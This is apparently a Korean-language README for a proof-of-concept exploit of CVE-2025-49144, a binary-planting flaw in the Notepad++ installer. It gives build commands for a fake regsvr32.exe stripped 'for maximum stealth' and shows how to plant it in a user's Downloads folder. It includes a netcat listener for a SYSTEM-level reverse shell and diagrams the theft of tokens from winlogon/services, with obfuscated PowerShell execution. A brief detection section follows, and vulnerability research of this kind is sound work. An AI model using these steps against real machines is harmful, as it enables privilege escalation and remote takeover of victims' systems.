
PoC CVE-2025-49144
⚠️ 교육 목적으로만 사용
이 코드는 이진 파일 심기 취약점을 이해하기 위한 교육 및 연구 목적으로 설계되었습니다. 적절한 승인을 받은 통제된 환경에서만 사용하세요.
이 개념 증명은 GHSA-9vx8-v79m-6m24에 참조된 Notepad++ 설치 프로그램의 이진 파일 심기 취약점(CVE-2025-49144)을 시연합니다. 이 취약점으로 인해 공격자는 regsvr32.exe라는 악성 실행 파일을 Notepad++ 설치 프로그램과 동일한 디렉터리에 배치하여 SYSTEM 수준의 권한을 획득할 수 있습니다.
regsvr32.exe를 통한 이진 파일 심기PoC는 함께 작동하는 여러 구성 요소로 구성됩니다.
┌─────────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Notepad++ │ │ Malicious │ │ Reverse Shell │
│ Installer │───▶│ regsvr32.exe │───▶│ (PowerShell) │
│ (searches for │ │ (CGO binary) │ │ with SYSTEM │
│ regsvr32.exe) │ │ │ │ privileges │
└─────────────────┘ └──────────────────┘ └─────────────────┘
# Go 설치 (1.24 이상)
# CGO 컴파일을 위해 MinGW-w64 설치
# 버전 관리를 위해 Git 설치
# 저장소 복제
git clone https://github.com/Vr00mm/CVE-2025-49144
cd CVE-2025-49144
# 실행 파일로 빌드 (regsvr32.exe로 가장)
# 최대 은닉을 위해 (디버그 정보 제거)
go build -ldflags="-s -w" -o regsvr32.exe
# 개발용 (디버그 기호 포함)
go build -o regsvr32_debug.exe
# 1. 악성 regsvr32.exe를 Notepad++ 설치 프로그램과 동일한 디렉터리에 배치
# 일반적으로 사용자가 설치 프로그램을 다운로드하는 다운로드 폴더
copy regsvr32.exe "C:\Users\%USERNAME%\Downloads\"
# 2. 사용자가 공식 Notepad++ 설치 프로그램을 다운로드 폴더에 다운로드
# 3. 사용자가 설치 프로그램을 실행하면 현재 디렉터리에서 먼저 regsvr32.exe를 검색
# 4. 설치 프로그램이 우리의 악성 regsvr32.exe를 찾아 SYSTEM 권한으로 실행
# 5. 들어오는 리버스 셸 연결을 대기
ncat -tlnp 4445
sequenceDiagram
participant User
participant Attacker
participant Downloads
participant NotepadInstaller
participant MaliciousRegsvr32
participant SystemProcess
User->>Downloads: Download Notepad++ installer
Attacker->>Downloads: Place malicious regsvr32.exe (social engineering)
User->>NotepadInstaller: Run installer from Downloads folder
NotepadInstaller->>Downloads: Search for regsvr32.exe in current directory
Downloads->>MaliciousRegsvr32: Find malicious regsvr32.exe first
NotepadInstaller->>MaliciousRegsvr32: Execute with SYSTEM privileges
MaliciousRegsvr32->>MaliciousRegsvr32: Create detached process
MaliciousRegsvr32->>SystemProcess: Enumerate SYSTEM processes
SystemProcess->>MaliciousRegsvr32: Steal token from winlogon/services
MaliciousRegsvr32->>MaliciousRegsvr32: Create PowerShell with SYSTEM token
MaliciousRegsvr32->>Attacker: Establish reverse connection
MaliciousRegsvr32->>NotepadInstaller: Continue with legitimate regsvr32 functionality
Attacker->>SystemProcess: Execute commands as SYSTEM
이진 파일 심기
권한 상승
지속성 메커니즘
네트워크 프로그래밍
CGO 프로그래밍
# 의심스러운 regsvr32 사용 모니터링
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104}
# 비정상적인 네트워크 연결 확인
netstat -ano | findstr ":4445"
# 프로세스 생성 모니터링
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688}
연결 실패
# 포트 사용 가능 여부 확인
netstat -ano | findstr ":4445"
# 방화벽 설정 확인
netsh advfirewall firewall show rule name=all | findstr "4445"
빌드 오류
# CGO 활성화 확인
set CGO_ENABLED=1
# MinGW 설치 확인
gcc --version
# Go 설치가 CGO를 지원하는지 확인
go env CGO_ENABLED
토큰 획득 실패
이 프로젝트는 교육 목적으로 MIT 라이선스 하에 배포됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
기억하세요: 이 도구는 교육 및 승인된 테스트 목적으로만 사용됩니다. 항상 책임 있는 공개 관행을 따르고 법적 경계를 존중하세요.
| 파일 | 목적 | 줄 수 |
|---|
main.go | 진입점, regsvr32 실행 처리 | ~80 |
winbind.h | 함수 선언이 포함된 메인 헤더 | ~45 |
main.c | 핵심 리버스 셸 실행기 및 분리된 프로세스 생성 | ~75 |
shell.c | 난독화된 PowerShell 실행을 포함한 셸 핸들러 | ~120 |
process.c | 토큰 획득 및 SYSTEM 프로세스 생성 | ~195 |
socket.c | TCP 킵얼라이브를 포함한 네트워크 연결 | ~85 |
threads.c | 소켓과 파이프 간 I/O 스레딩 | ~60 |
utils.c | 입력 검증 및 속도 제한 | ~35 |
obfuscate.c | PowerShell 경로 난독화 기술 | ~70 |